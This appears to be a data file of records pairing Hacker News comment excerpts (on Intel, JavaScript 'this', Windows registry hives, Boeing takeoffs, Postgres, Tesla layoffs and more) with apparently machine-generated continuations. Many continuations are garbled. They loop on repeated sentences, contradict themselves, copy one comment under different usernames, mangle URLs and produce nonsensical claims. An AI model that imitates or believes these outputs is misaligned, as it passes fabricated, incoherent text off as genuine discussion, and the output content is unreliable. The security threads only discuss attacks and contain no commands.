ultrabooks.\n\n~~~\nakmarinov\nTheir RAM upgrade and SSD pricing is off the charts though. 8 to 16 GB is $200\n- which other manufacturer does that?\n\n------\nMangoCoffee\nits sad to see a king (Intel) slowly dying. Microsoft got its groove back with\nSatya Nadella and turn Microsoft into player two in the cloud computing and\nunlock.Net.\n\nAMD ryzen to EPYC with Lisa Su and TSMC became king of pure-play foundry under\nMorris Chang.\n\ni think there is a pattern here. a good engineer CEO have a vision of what a\ncompany can be while a CFO turn CEO only see the bottom line.\n\ni don't know how long Intel can keep squeezing 14+++++++++++++++ nm.\n\n------\nwoodylondon\nIs the issue here not the software"} +{"output_text": "'this'.\n\n~~~\njashkenas\nThe way I remember it: this is whatever is before the dot when you call the\nfunction.\n\nE.g. for car.drive(); in the drive function, any reference to 'this' will get\n'car'. If the function is called on it's own, as in 'drive()', 'this' will\nrefer to the Global object (bad)\n\nIt's also possible to change 'this", "input_text": " to JS is that they expect |this|\nto be controlled by the callee, like it is in lots of other popular languages,\nand are surprised when calling convention can change its value.\n\n~~~\naboodman\nBTW, imo, the behavior of |this| is a really unfortunate design flaw of JS.\nThe amount of time that must have been spent learning and teaching this edge\ncase over and over to every person new to the language is... well, it's big.\n\n~~~\nvicaya\nThe behavior of 'this' is from DOM bindings and not from the language per se.\nJavascript can set 'this' of any calling context to any object with 'apply' or\n'call'. The convention for on* handlers is that 'this' is set to the DOM\nelement when the handlers are called. I only learned to appreciate this, when\nI wrote my own little JS DOM framework a la JQuery or Dojo.\n\n~~~\nlitewulf\nI believe actually that 'this' points to the global object.\n\nSo if there is no obvious thing for this to point at, it'll point at the\nglobal object. Its just implementation detail that in browsers it points to\nthe window object.\n\n------\nmhansen\nThe way I remember it: this is whatever is before the dot when you call the\nfunction.\n\nE.g. for car.drive(); in the drive function, any reference to 'this' will get\n'car'. If the function is called on it's own, as in 'drive()', 'this' will\nrefer to the Global object (bad)\n\nIt's also possible to change 'this' by using the Function.prototype.apply()\nmethod, which allows you to pass a 'context' parameter that will become\n"} +{"output_text": "~~~\njve\nI guess I should have been more clear. I'm not talking about the registry\nhives, but about the registry keys themselves.\n\n------\njve\nI'm not sure if this is a real concern.\n\nI always treat User Settings overridable, because they happen either in\nsecurity context of user or within user registry which lives in %userprofile%\n- the user has full access to ntuser.dat file.\n\n------\n", "input_text": " will ever find\n\nThis isn't relevant because if you're logged in as the affected user, nothing\nyou see can be trusted because you're already pwned. For instance, the\nattacker could have replaced the regedit icon with a patched regedit, or\nattached a debugger to every process and patched any system calls. The only\nsafe course of action would be to create a new profile.\n\n> and even most Windows administrators will have no idea to look for.\n\nAFAIK user hives aren't loaded until they're logged in, in which case they're\nsubject to the caveats of the previous paragraph. Also, are administrators\nreally going around and loading each user's registry hive to check for\ninfections? The only real threat I can think of is antivirus vendors not\nknowing about this feature and not scanning the file as a registry hive.\n\n~~~\nthrowanem\nAs the article mentions, the threat model here is primarily an insider one,\nwith a \"rogue\" user leveraging this method to obtain capabilities the domain\nadministrator intends to deny. There are certainly more effective exploits for\nan outside attacker to use, but that's beside the point.\n\n~~~\ndfox\nUser Group Policy isn't exactly a security mechanism, it exists to prevent\nusers from unintentionally breaking their profile. There is multitude of ways\nhow the user in question can inject arbitrary code into processes that are\naffected by user group policy as these processes are owned by that user.\n\n------\njve\nIs this a real concern?\n\nI always treat User Settings overridable, because they happen either in\nsecurity context of user or within user registry which lives in %userprofile%\n- the user has full access to ntuser.dat file.\n\n"} +{"output_text": ".\n\n~~~\nnl\n_I wouldn 't even know where to begin in criticizing their study._\n\nI'm not sure what you mean.\n\nThe study is a good example of how science can be done.\n\nThe study is not a good example of how science can be done.\n\nThe study is not a good example of how science can be done.\n\nThe study is not a good example of how science can be done.\n\nThe study", "input_text": " see up to around 750nm or so (NIR) with\nawful quantum efficiency. Pit vipers and some fish have limited perception of\nIR, but I'm not aware of any animals that can see IR in the conventional\nsense\u2026 being warm blooded presents a real problem, for one.\n\nPlainly, there are limits to what can be achieved in hyperspectral imaging due\nto materials, and that's without the constraints of biology thrown in the mix.\n\n~~~\nnl\n_Utter poppycock._\n\nThat seems... strong, especially if referring to the \"Night vision glasses no\nlonger needed for enhanced soldiers\" bit.\n\n _They eventually formulate a chlorin e6 solution for human use. A few drops\nare dripped into Licina\u2019s eyes, and they had him look for people hidden among\ntrees as well as symbols on objects in dim light. Licina seemed to perform a\nlot better than the four other people who did not get eyedrops._\n\n[http://gizmodo.com/the-real-science-behind-the-crazy-\nnight-v...](http://gizmodo.com/the-real-science-behind-the-crazy-night-vision-\neyedrops-1694955347)\n\n~~~\nOopsCriticality\nMy frustration was more directed towards the UV-Vis-NIR part (and I read night\nvision as thermal IR, but who knows), but I wouldn't say that your linked\narticle is something of substance. To quote the article, quoting the\nexperimenter/ee, \"In Licina\u2019s own words: 'Let\u2019s be fair here. It\u2019s kind of\ncrap science.'\"\n\nI wouldn't even know where to begin in criticizing their study"} +{"output_text": " \"right time\" statements?\n\n~~~\njedberg\nI think it's a way to get out of the responsibility of having to hire a new\nCEO.\n\n~~~\nblizkreeg\nI think it's a way to get out of the responsibility of having to hire a new\nCEO.\n\n------\njedberg\nI'm not sure if this is a good thing or a bad thing.\n\nOn the one hand, it's", "input_text": " about not hiring assholes in the first place? If they have to be coached\nto not have issues with women, then they aren't worth your time.\n\n------\nmgkimsal\nMaybe he was busy having \"inappropriate relations\" with the people who should\nhave been \"reviewing\" my paperwork?\n\nTried to use them years ago and... turnaround time took _weeks_. Their web\ninterface just kept telling me they were \"reviewing\" then \"need more info\"\nwithout any concrete info as to what was needed. Emails took days to get a\nreply to.\n\nTried to use them again last year - same horrible turnaround/response time\n(days/weeks).\n\nI was able to use another institution and have my financial stuff handled and\ndone in less time than it took them to even clarify why the exact same info\nother financial agents were fine with wasn't good enough (and, they never\ndid).\n\nThey followed up about 4 months later to ask if I still needed service.\n\n------\nSoFiThrowaway\nThe internal messaging is the same as external: \"buisness is strong, we\ncontinue to execute as we did, looking for a new ceo\".\n\nHowever, if you read between the lines, it sounds like the board might have\nbeen looking for an excuse to oust Mike, who preferred high risk ventures and\nexpansions, and replace him with someone experienced in bringing companies to\nan IPO. It seems like this is an attempt to kill two birds with one stone, in\nterms of bad press.\n\n------\nblizkreeg\n\u201cI believe now is the right time for SoFi to start the search for a new\nleader,\u201d Mr. Cagney said in a statement.\n\nWhat's with these"} +{"output_text": "\nkpao\nI'm not sure what you mean by \"excessive AOA\".\n\nIf you have enough thrust, airspeed and no system preventing you to go above a\ncertain pitch or AOA, then the plane should fly just fine.\n\n~~~\nJorgeGT\nI'm not sure what you mean by \"excessive AOA\".\n\nIf you have enough thrust, airspeed and no system preventing you to go above a\ncertain pitch or AOA", "input_text": "=Ra_khhzuFlE](https://www.youtube.com/watch?v=Ra_khhzuFlE)\n\n~~~\nhermitdev\nBoeing also did a near-vertical take off in the 787 during their initial tests\n(and a few times after at air shows) This video [1] from a past Paris air\nshow, shows a 787 ready for a delivery to Vietnam Airlines doing a very\naggressive & short (but not vertical take off). Pretty ballsy to do such a\nthing in such an expensive jet that's on its way to delivery to a client.\n\n[1]\n[https://www.youtube.com/watch?v=B5_8D8HCnS4](https://www.youtube.com/watch?v=B5_8D8HCnS4)\n\n~~~\novercast\nAccording to comments, it was nowhere near vertical, which is why they didn't\nshow it from a side angle. Apparently indicator light goes off at 30 degrees,\nindicating imminent engine stall.\n\n~~~\nkpao\nWhat do you mean engine stall?\n\nAs long are you have enough thrust, airspeed and no system preventing you to\ngo above a certain pitch or AOA, then the plane should fly just fine...\n\n~~~\nJorgeGT\nExcessive AOA causes streamline detachments in the diffuser that cause\ncompressor stall: [http://www.free-online-private-pilot-ground-\nschool.com/image...](http://www.free-online-private-pilot-ground-\nschool.com/images/xcompressor-airflow.gif.pagespeed.ic.Sk_s8wyIqh.png)\n\n~~~"} +{"output_text": " read your blog and I am very inspired by your work. I am\ncurrently working on a project that I want to share with the world. I am\ntrying to get it out there as soon as possible. I am also trying to get\nmyself out of the depression. I am not sure if I will succeed, but I am\ntrying.\n\nI am also a big fan of your blog. I have read it for a while now and I\nappreciate", "input_text": "\nI'm looking for \"the\" magic answer, not because it would be easy, but because\nI don't want to sink more effort into just another method that may or may not\nwork in the end. In a way, I'm getting demoralized on the subject of self-\nimprovement.\n\nFor what it's worth, several years ago during an \"enhanced\" experience, I had\nthe following realization, which might have some truth to it. Paying so much\nattention to self-improvement, month after month, year after year, trains your\nbrain to think you're a loser. The constant thoughts of \"I'm too lazy, how do\nI get better\" eventually get internalized. This is probably unhealthy and\nmight even be counter-productive.\n\nBest wishes, fellow traveller.\n\n------\nrails\nHi,\n\nI want you to tell you a litte story about my self and my struggles. We should\nbe about the same age. A year ago, I was going strong, working my job, having\nside projects and getting things done. I was doing a lot of sports and was on\nthe level of a marathon runner. Then I had an injury. Due to the lack of\nsport, I fell into depression. I was unable to concentrate on a single thing\nfor even five minutes and had no motivation whatsoever. I have had then set\ngoals for myself and after I failed to accomplish them, I beat myself up.\nRinse and repeat. Now, about 9 Months later, I am still in the recovering\nprocess. Like you I tried pretty much every productivity hack out there. From\npomodoro to bullet journaling, habit forming and so on. What I want to say:\nThere is no quick fix. It takes time.\n\nSo I regularly"} +{"output_text": "windows.microsoft.com/en-us/windows/lifecycle)\n\n[2] [http://windows.microsoft.com/en-\nus/windows/lifecycle](http://windows.microsoft.com/en-us/windows/lifecycle)\n\n~~~\nSiecje\nI was referring to the end of mainstream support for Windows 7.\n\n------\njenscow\nI'm not sure if this is a good thing or not.", "input_text": "\nHowever, in the case of Windows, this issue isn't that much severe as it would\nbe on a unix-like, for example.\n\nWith the set up of Windows servers I've seen, only the admin logs in anyway.\nIt's not really used as a \"multi-user\" system per-se, where you get different\nusers logging in at the same time. It does happen, but it's not common.\n\n~~~\nscarmig\nHahah, I figured Windows might be slightly better about this, hence the self-\nadmitted uninformed take.\n\nCould you clarify, though: do you mean to say Windows isn't as vulnerable\nbecause of cultural reasons (i.e. Windows systems aren't multi-user usually)\nor because of technical ones (they support something like SELinux out of the\nbox)?\n\n~~~\njenscow\nThe _impact_ isn't as severe, for cultural reasons.\n\n------\ndang\nUrl changed from [http://www.pcworld.com/article/2864312/google-discloses-\nunpa...](http://www.pcworld.com/article/2864312/google-discloses-unpatched-\nwindows-vulnerability.html), which points to this.\n\n------\nSiecje\nThis is going to be more common when Windows 7 is no longer supported\n2015-01-13.\n\n~~~\n_delirium\nWindows 7 has security support through January 2020 [1]. What's ending this\nmonth is \"mainstream support\", which seems to mean new features, phone\nsupport, etc. [2]\n\n[1] [http://windows.microsoft.com/en-\nus/windows/lifecycle](http://"} +{"output_text": "\n> his commanders knew what that was, and let them figure out how best to\n> achieve that based on the situation.\n\nI think it's more likely that he was just too busy to give orders. He was\nfighting a war, and he was fighting it in a way that was very different from\nthe way he fought the civil war.\n\n------\nmatt_wulfeck\nI'm not sure I agree with the premise that Caesar was a genius", "input_text": " during\nwintertime, while admirable (the safety of his soldiers was of supreme\nimportance to him), worked out where they seemed like they shouldn't most of\nthe time.\n\n3\\. Stupidity of his enemies. How many times did Caesar attack the Pompeans\nduring the Civil War during winter? They never learned. It's remarkable\nreally. One can also look at Caesar's merciful treatment of enemies during the\ncivil war as evidence of his genius -- he won so many by being gentle, even\nthough he had to fight Ahenobarbus like 4 times because he kept letting him\ngo.\n\nWith that, Caesar turned into an absolute master by making reasonable\ncalculated risks and surviving them. By the point he was clearing the last of\nthe Pompeans in Africa at the end of the Civil War, he didn't even leave his\ntent to give commands -- so confident and expertised in warfare that he didn't\neven have to see the field of battle.\n\nThis is a bit of a ramble. I really admire Julius Caesar and think there's so\nmuch to learn by studying his life and habits.\n\n~~~\nunFou\n\"By the point he was clearing the last of the Pompeans in Africa at the end of\nthe Civil War, he didn't even leave his tent to give commands\"\n\nWas this an indication of the experience and initiative of his commanders and\nnon-coms? So Caesar might decide on the overall approach, make sure all his\ncommanders knew what that was, and let them figure out how best to achieve\nthat based on the situation.\n\n~~~\nSirensOfTitan\n> Was this an indication of the experience and initiative of his commanders\n> and non-coms? So Caesar might decide on the overall approach, make sure all"} +{"output_text": ".\n\n~~~\nTrainedMonkey\nThanks for the reply.\n\n1\\. I am not sure how much of that is due to the architecture and how much is\ndue to the instruction encoding.\n\n2\\. I am not sure how much of that is due to the architecture and how much is\ndue to the instruction encoding.\n\n3\\. I am not sure how much of that is due to the architecture and how much is\ndue to the instruction encoding.\n", "input_text": "\nothers Boeing and McDonnel Douglas.\n\n \nIntroduction to the Mill CPU Programming Model - luu\nhttp://ootbcomp.com/topic/introduction-to-the-mill-cpu-programming-model-2/\n======\nTrainedMonkey\nInteresting, the architecture looks greatly simplified compared to even\nstandard RISC (As opposed to lets say x86). Due to that simplification it will\nbe power efficient while being inherently highly parallel.\n\nWould be interesting to find out:\n\n1\\. How high that degree of parallelism can be pushed, are we talking about\ntens or hundreds of pipelines?\n\n2\\. What frequency this will operate at?\n\n3\\. What is up with RAM? I saw nothing about memory, with lots of pipelines it\nis bound to be memory bound.\n\n~~~\nwillvarfar\nHi, I'm the author of that intro. The talks which Ivan has been giving - there\nare links in that intro - go into everything in much more detail. But here's a\nquick overview of your specific questions:\n\n1: we manage to issue 33 operations / sec. This is easily a world record :)\nThe way we do this is covered in the Instruction Encoding talk. We could\nconceivably push it further, but its diminishing returns. We can have lots of\ncores too.\n\n2: its process agnostic; the dial goes all the way up to 11\n\n3: the on-chip cache is much quicker than conventional architectures as the\nTLB is not on the critical path and we typically have ~25% fewer reads on\ngeneral purpose code due to backless memory and implicit zero. The main memory\nis conventional memory, though; if your algorithm is zig zagging unpredictably\nthrough main memory we can't magic that away"} +{"output_text": " at the start of that second. Thus, it takes\nmore energy to increase your speed.\n\nI don't think that's true. You're not gaining any energy from the first\nsecond. You're just falling.\n\n~~~\nRetric\nYou are gaining energy from the first second. You are gaining energy from the\nsecond second.\n\nYou are gaining energy from the second second because you are gaining energy\nfrom the first second.\n\n~~~\nbabyrain", "input_text": " the\n120 -> 96 mph change is the same as that required to go from 24 -> 0\\. This\nworks out in conservation of energy because the ejected mass has kinetic\nenergy of its own.\n\nIn the case of you landing, I don't think energy balance is the way to look at\nit; each of the collisions that slows you down will transfer some energy to\nthe ground. In terms of force, the force is dependent only on the\nacceleration, so it comes down to how long each impact lasts. If each \"bounce\"\nor \"thud\" lasts the same amount of time (I don't know if this is realistic)\nthen each one will transfer 1/5th of the force, as the article says.\n\n~~~\nRetric\nYour intuition is wrong.\n\nPotential energy is linear with height. AKA it takes the same energy to climb\nfrom floor 1 to 2 as 2 to 3.\n\nGravity is 32 feet per second per second aka you gain speed over time. In a\nvacuum 0 to 32 feet per second takes 1 second, 32 to 64 feet per second takes\n1 seconds, 64 to 96 takes 1 second etc.\n\nHowever, in the first second you fall 16 feet. in the next second you fall 38\nfeet because you where falling at the start of that second. Thus, it takes\nmore energy to increase your speed.\n\nPS: What's confusing about rockets, is your fuel has momentum. So, when use it\nyour consuming the energy it took to get that fuel up to speed with you.\nFurther, at low speed most of the energy goes into the exhaust not the rocket.\n\n~~~\nbabyrainbow\n>However, in the first second you fall 16 feet. in the next second you fall 38\nfeet because you where falling"} +{"output_text": "characters.\n\n~~~\njlgaddis\n> _UCS-2 cannot manage emoticons and other newer characters._\n\nI'm not sure I understand this.\n\n~~~\nfrik\nUCS-2 is a 16 bit encoding. It can't handle emoticons and other newer\ncharacters.\n\n~~~\njlgaddis\nI'm not sure I understand what you're saying.\n\n~~~\nfrik\nUCS-2", "input_text": " but I have to take issue with point 1.4. Last I knew,\nPostgres had no support for stored procedures, which makes integration with\nprocedural languages almost useless.\n\n~~~\ndragonwriter\n> Last I knew, Postgres had no support for stored procedures, which makes\n> integration with procedural languages almost useless.\n\nSo, going through old docs, Postgres seems to have had stored procs using\nprocedural languages since at least version 7.1, released in April 2001. It\nclearly has had them for quite some time, at any rate.\n\n------\njpster\nAny recommendations for a really good PostgresSQL tutorial?\n\n~~~\nrallycarre\n[https://pgexercises.com/](https://pgexercises.com/)\n\nI've found it one of the best tutorials of anything on the web. It's\nchallenging and you learn through example.\n\n~~~\nnallerooth\nThanks, that looks great!\n\n------\nsankyo\nI cannot stand it when a post is not dated. How can I know that this isn't\nsome old, irrelevant comparison from 2001? It doesn't take much effort to add\na posting date.\n\n~~~\nanshou-\nThere doesn't appear to be any date on the site to indicate when it was\nwritten or updated.\n\n------\nfrik\nMSSQL's SQL syntax like that found in MSSQL 2012 is very outdated. Many old\nrusty parts of MSSQL date back to the Sybase, MSSQL is a fork of it. Also\nWinNT (incl Win10), MSSQL and most other MSFT software is UCS-2 which they\noften mislabel as UTF-16. UCS-2 cannot manage emoticons and other newer\n"} +{"output_text": "~~~\nlagadu\n> Yes but governments also cause problems, and if they get big enough the\n> cure can be worse than the disease. E.g. if all governments in Europe had not\n> had the power to override citizens' freedom of choice by drafting them and\n> taking their factories to make bombs, there'd have been no WW1, saving tens\n> of millions of lives. If Russian and Chinese governments in the 20th century\n> had not had the", "input_text": " away from genocide. And I don't know if the world will go to\nwar with the US over that.\n\n~~~\nlogicchains\nSo the problem with Facebook is that powerful governments might use their data\nto do horrible things, and the solution is to give governments even more power\nover our lives by letting them dictate what sites we're allowed to visit? If\nthere wasn't so much of this \"oh no, a problem, better get the government to\nsolve it\" thinking in the first place, the US government would never have\ngotten as powerful as it has.\n\n~~~\nlagadu\n> \"oh no, a problem, better get the government to solve it\"\n\nErm, that's exactly why we have governments: to solve society-level problems.\n\n~~~\nlogicchains\nYes but governments also cause problems, and if they get big enough the cure\ncan be worse than the disease. E.g. if all governments in Europe had not had\nthe power to override citizens' freedom of choice by drafting them and taking\ntheir factories to make bombs, there'd have been no WW1, saving tens of\nmillions of lives. If Russian and Chinese governments in the 20th century had\nnot had the power to override their citizen's freedom of choice and\nexpropriate their property, Stalin would not have been able to conduct his\npurges, Mao would not have been able to conduct his great leap forward, the\ngreat famine would have been avoided, saving close to a hundred million lives.\n\nAs the quote goes, \"A government big enough to give you everything you want,\nis a government big enough to take away everything that you have.\". People\nthink \"oh it couldn't happen here\"; well that's what people in Germany thought\nin the 1930s.\n\n"} +{"output_text": "-7-11-drink-\nthat-killed-my-grandmother/))\n\n~~~\njlgreco\nI think the problem is that the average American man is not a man.\n\n~~~\nDanBC\nI think that's true.\n\n------\njlgreco\nI think the problem is that the average American man is not a man.\n\n~~~\njlgreco\nI think that's true.\n\n------\n", "input_text": " sites I\nvisit, there isn't much of a difference (anymore). Websites have realized that\nhaving fewer high-quality ads is better than having a massive number of crap\nads.\n\n \n\nThe Average American Man's Body - r0h1n\nhttp://www.theatlantic.com/health/archive/2013/10/this-is-the-average-mans-body/280194/\n\n======\nDanBC\nThe worrying thing about this is the shift in perception.\n\nMost people are going to put Todd at \"a bit over weight\", but not \"near\nobese\". Add a few kilos to Todd to tip him into obesity, and most people are\nnot going to see much difference.\n\nGive people a Todd image of BMI > 35, with no physical activity, and still\nmost people aren't going to call that Todd obese. And if it's a woman the\ndiscussion suddenly becomes polarised with accusations of \"fat shaming\" and\n\"healthism\" and \"nanny state\" and \"causing eating disorders\". Very obese women\nare called \"curvy\" or \"voluptuous\". Any attempt to discuss the health effects\nof over weight are dismissed as a fascistic attempt to control other people.\n\nThere are so many _weird_ ideas around obesity - \"it's not sugar, it's high\nfructose corn syrup! We weren't overweight until HFCS!\". Maybe HFCS is worse\nthan regular sugar, but we also didn't use to drink 64 fluid ounces of 10%\nsugar syrup.\n([http://www.todayifoundout.com/index.php/2010/01/the-7-11-dou...](http://www.todayifoundout.com/index.php/2010/01/the"} +{"output_text": " original version was pretty terrible.\n\n------\njoshstrange\nI'm not sure I understand the point of this. I mean, I get that it's a\n\"product\" but I don't see how it's any different than a tablet or phone.\n\n~~~\nj_hall_in\nIt's a product that is designed to be worn on your face. It's not a phone or\ntablet.\n\n~~~\njoshstrange\nI'm", "input_text": " it when they abandoned it, because I was so excited about the tech for\nso long. I think maybe the public just wasn't ready for it then. They probably\nstill aren't now, but this could be an excellent way for them to get more\ncomfortable with it.\n\n------\nmegamindbrian\nThis is such bullshit. I applied for their private beta and never got a\nresponse.\n\n------\nsharemywin\nAw...how cute they look like little borg lite.\n\n------\nj_hall_in\nLooks like they are using the strategy of Microsoft HoloLens here which I\nthink makes sense. There isn't enough wide-spread value add in these augmented\nreality headsets for general consumer use yet, but businesses will help drive\ninnovation until that time comes.\n\n------\nMBCook\nA lot of fluff here, but not much substance. I see how having large manuals or\npaper lists in your field of view could be very useful.\n\nDoes it work well for employees with classes?\n\nI assume they've updated the chip inside to something less power-hungry. Does\nit get reasonable battery life now?\n\nWhy do doctors need Glass to record notes in the background? Couldn't _any_\ncomputer run that software?\n\n~~~\ndjsumdog\n> Why do doctors need Glass to record notes in the background? Couldn't any\n> computer run that software?\n\nI'm guessing this might have to do with voice recognition tech and the doctor\nbeing able to see the notes visually. If it picks up something incorrectly,\nmaybe the doc just turns to the computer and corrects it?\n\n~~~\njfoster\nStill sounds as though a laptop would be better. Perhaps it's now improved,\nbut the"} +{"output_text": " abstract.\n\n------\njoshuahedlund\nI'm not sure I agree with the conclusion that the law is \"unconstitutional\"\nand that the law should be changed.\n\nThe law is not unconstitutional because it is a tax. It is unconstitutional\nbecause it is a tax that is not apportioned to the states in which the\ntransactions occur.\n\nThe law is unconstitutional because it is a tax that is not apportioned to the\nstates in", "input_text": " and what his incentive\nwould be.\n\n------\nJd\nEven though I'm not a huge Greenspan fan (are there any?), I find this money\ntransmitter stuff incredibly fascinating. I haven't reviewed the relevant\nlegal code, but I strongly suspect that Greenspan is right in that:\n\n(1) there are lots of little annoying laws related to money transmitters that\nmakes it very difficult to get new payment stuff off the ground\n\n(2) If you have deep pockets and good lawyers you can pretty much ignore these\nlaws\n\nI strongly suspect that the correct solution is to change the laws, but that\nthis is also an even greater pain in the ass than protecting yourself with\nhighly paid lawyers, esp. since relevant laws vary significantly from state to\nstate. What exactly Greenspan is attempting to prove here is beyond me, but\nI'm still quite curious as to the results.\n\n~~~\nigravious\nAhh, is this why all these tech giants use a non-money credit system for their\nstores and networks: Sony, Apple, Microsoft, Amazon(?),... there must be many\nmore.\n\n~~~\ngeorgeecollins\nThe reason why companies use points instead of $ is: 1) Easy to keep the price\nconsistent world wide 2) There is a casino chip theory that you spend more\nmoney when it is abstracted. People spend more when they use their credit\ncards as opposed to cash, etc. 3) You can sell point cards at retailers to the\nunbanked. In the Xbox case this is important because a lot of your audience is\nkids.\n\n~~~\nbobsoap\n2) is on the spot. As soon as you introduce an abstract that is one step\nremoved from money, people are more willing to gamble with that"} +{"output_text": "~~~\nWalterBright\nI don't think he was a jerk. He was just a manager who didn't know how to\nhandle the situation.\n\n------\njoshu\nI'm not sure I agree with the premise.\n\nI think the problem is that the US has a very different culture than other\ncountries.\n\nIn the US, we have a culture of \"I'm sick, I'm going to stay home.\"\n\nIn other countries,", "input_text": " seminar where they welcomed you to the company.\nWhen the woman said \"we get 19 days PTO a year\", you'd be surprised how many\npeople shot up and said \"can we start taking them right now?\"\n\nBefore they had even worked a day! PTO days are accurred by hours worked. For\nme, it's ~6 hours per 15 calendar days. You think you're entitled to PTO\nhaving worked 0 hours?...\n\n~~~\njkaplowitz\nFor vacation days, your point makes sense to me. For sick days, people don't\nget to choose when they get sick. Someone can just as easily get sick on day 1\nor 2 of a job as on day 401 or 402.\n\n~~~\nWalterBright\nI once talked to a manager about how he handed out raises. He mentioned one\nengineer who was sick exactly 10 days out of each year. Coincidentally, the\ncompany offered 10 days of paid sick leave a year.\n\nHe laughed, and said she wasn't fooling anyone, and didn't give her a raise.\n\n~~~\nlkey\nSo he decided he'd figured out her scam without ever bringing it up in yearly\nor monthly review. He also never asked for proof of the 10 days of sick leave\nafter the first year, which is reasonable to do if he had a suspicion she was\nflouting a rule. If he wanted to factor sick days into his pay decision, he\nhad a _responsibility_ to make sure he was correct using the proper internal\nchannels.\n\nAn alternate and equally plausible view is that she had a condition that\nrendered her borderline ill more than 10 days a year, but couldn't afford to\ntake unpaid leave. So she just 'toughed it out' instead for the remaining\ndays.\n\n"} +{"output_text": "antatechvillage.com/events/atlanta-tech-\nvillage-...](https://atlantatechvillage.com/events/atlanta-tech-village-\npitch-event-2/)\n\n~~~\nBasDirks\nWe're in the process of looking for local incubators.\n\n------\nmatt_the_bass\nI\u2019m not sure what your product is, but I\u2019d be interested in learning more.", "input_text": " (ok, great) or\nby \"other players\" (well..)?\n\nIt seems you need to reach 10,000 points which a lot.\n\n~~~\nlegionof7\nI won Pioneer a little more than a year ago. It's been absolutely amazing for\nus and we met great people through it. Best benefit has definitely been the\ncommunity you join.\n\nProjects are voted on by experts and other players.\n\n------\nAlchemistCamp\nFundraising is just about the least meritocratic part of startups. Depending\non your social circle and markers of class, the process can be very easy or\nnear impossible for a first time founder. For most, it's extremely difficult\nto get someone to invest in your company when you're still working a full-time\njob on something else.\n\n> the one thing we want most in life is to work on our product full-time\n\nCan you cut expenses and live off of savings for a few months? If not, can you\nself-fund it as a side project until it can cover your living expenses?\n\n~~~\nBasDirks\n> Can you cut expenses and live off of savings for a few months?\n\nWe are definitely considering this.\n\n~~~\nAlchemistCamp\nThere's also no shame in taking it on in a way such that's more of a lifestyle\nbusiness than a startup.\n\nThe primary reason Alchemist Camp exists is so I can later self-fund the much\nmore ambitious startup I couldn't raise money for previously.\n\n------\nfma\nDo you have local incubators nearby? They will have pitch events and other\nresources.\n\ni.e. I live in Atlanta and here's just one random event I found at Atlanta\nTech village.\n\n[https://atl"} +{"output_text": " made is going to hurt a lot of\npeople. I don't like it.\"\n\n~~~\njblow\nI don't think you are oversimplifying it at all. You are saying that you don't\nlike the decision, and that is a perfectly reasonable thing to say.\n\n~~~\nstevievee\nI'm saying that I don't like the decision, and that is a perfectly reasonable\nthing to say.\n\n------\nmatt_the_b", "input_text": "FromUranus\nThat won't happen. I don't think'regime change' is going to come off the\nforeign policy menu, nor is paying back all the debt that is owed. So the\nspace money is going to be eaten by debt payments and more'regime change'\ninitiatives around the world. I forgot all about foreign policy, I thought\nthere would be no money before, now i KNOW there will be no money for any of\nthat.\n\n------\n_Codemonkeyism\nAgain?\n\n------\nIBM\nThis is definitely the move of a company in the process of scaling up\nproduction of their mass market vehicle that their valuation hinges on.\nDefinitely not about managing cash flow.\n\n~~~\ngowld\nThere's no need for sarcasm. Have confidence in yourself that you can speak\nplainly and the import of your comment will be undesrtand.\n\n~~~\nRivieraKid\nI appreciate the sarcasm, adds spice to the discussion. Nothing to do with\nconfidence, that's just your attempt at putting the guy down.\n\n------\nstevievee\nTesla and SpaceX are businesses and I never understood the public fandom\nbehind them and Elon Musk. 3,500+ people losing their jobs is pretty\nsignificant for a leader who touts altruism as one of his top motivators.\n\n~~~\njblow\nYou are not going to count all the jobs he created in the first place, and the\nyears of gainful employment those 3500 people had? It\u2019s just all negative in\nyour estimation?\n\n~~~\nstevievee\nWhat an oversimplification of my comment. I'll oversimplify it for you so you\ncan't misinterpret it: \"This decision he just"} +{"output_text": " project. I like the idea of a \"pre-built\" version that you can\njust drop into your project.\n\nI'm curious about the performance of the generated code. I'm guessing it's\nnot as fast as hand-written code, but I'm not sure.\n\n~~~\njoshuamorton\nIt's not as fast as hand-written code, but it's not slow either. It's\ndefinitely not as fast as hand-written code,", "input_text": "jaymzcampbell\nSimilar to the other comments, another voice here for appreciating the \"pre-\nbuilt\" version being available for quick use. For repo's/sources like this I\ntend to think of the prebuilt formats as letting me play around with things\nwithout any hassle. Once I'm happy with it I'll invest the time to have it\nbuild locally for the control.\n\n------\nchiph\nYou might want to include common unix shell commands. At a previous job we had\na customer with the last name of Echo who wasn't able to make a purchase.\nTurns out our credit card processor blocked them.\n\n~~~\nNormal_gaussian\nJesus. Which credit card processor? That stinks of bad design.\n\n~~~\nchiph\nGiven how often they came under attack, I don't blame them for taking a \"belt\nand suspenders\" approach.\n\n~~~\npaulddraper\nMore like \"belt and helium balloons\" approach.\n\n------\nbsimpson\nTIL: `mocha:` was a custom schema that Netscape Navigator used to eval URLs\n(equivalent to `javascript:`), and Yahoo! Mail would replace it with\n'espresso' to attempt to thwart phishing attempts:\n\n[https://www.obscure.org/javascript/archives/msg01369.html](https://www.obscure.org/javascript/archives/msg01369.html)\n\n[https://www.cnet.com/news/yahoo-mail-puts-words-in-your-\nmout...](https://www.cnet.com/news/yahoo-mail-puts-words-in-your-mouth/)\n\n------\nthomasahle\nThis is a fun"} +{"output_text": " million votes and only won a few seats.\n\n~~~\nhigherpurpose\nI think the problem is that the UK is a very small country, and the UK\ngovernment is very small. The UK government is so small that it can't even\nafford to have a proper debate about the EU.\n\nThe UK government is so small that it can't even afford to have a proper\ndebate about the EU.\n\n~~~\nminot\nThe UK government is so small", "input_text": " concentrated in a much smaller number\nof people.\n\nThe founders and implementors of the EU \"project\" used the term \"ever tighter\nintegration\" in their founding documents, where they laid out their vision for\na United States of Europe.\n\nThey even describe how they intended to implement this via a technique called\n\"gradualism\". The idea being that big sweeping reforms would be rejected by\nthe individual polities, but that more gradual, subtle changes spread over\ntime could achieve the same effect without the same resitance. And we have\nseen this in action over the past forty years.\n\nA bit like the apochryphal boiling of a frog.\n\nThe problem is that this is in some sense subversive and in another,\npresumptious that the EU project is desired and/or sensible. At some point the\nfrog metaphor breaks down and people begin to realize what is happening and\nwhat has happened.\n\nAnd in the UK at least, finally, we are beginning to see a debate being held\non the desirability of the EU being a _political_ union (rather than the more\nprosaic free-trade area).\n\n~~~\nhigherpurpose\nAll democratic republics are in dire need of an overhaul for the 21st century.\nHowever, US and UK tend to be worse than many because of the first past the\npost voting system.\n\n~~~\nminot\nI feel bad for the voters in the UK. LD got trounced in this election but in\nthe previous two elections they had 22 and 23 percentage of votes.\n\nIn 2010, Conservatives had 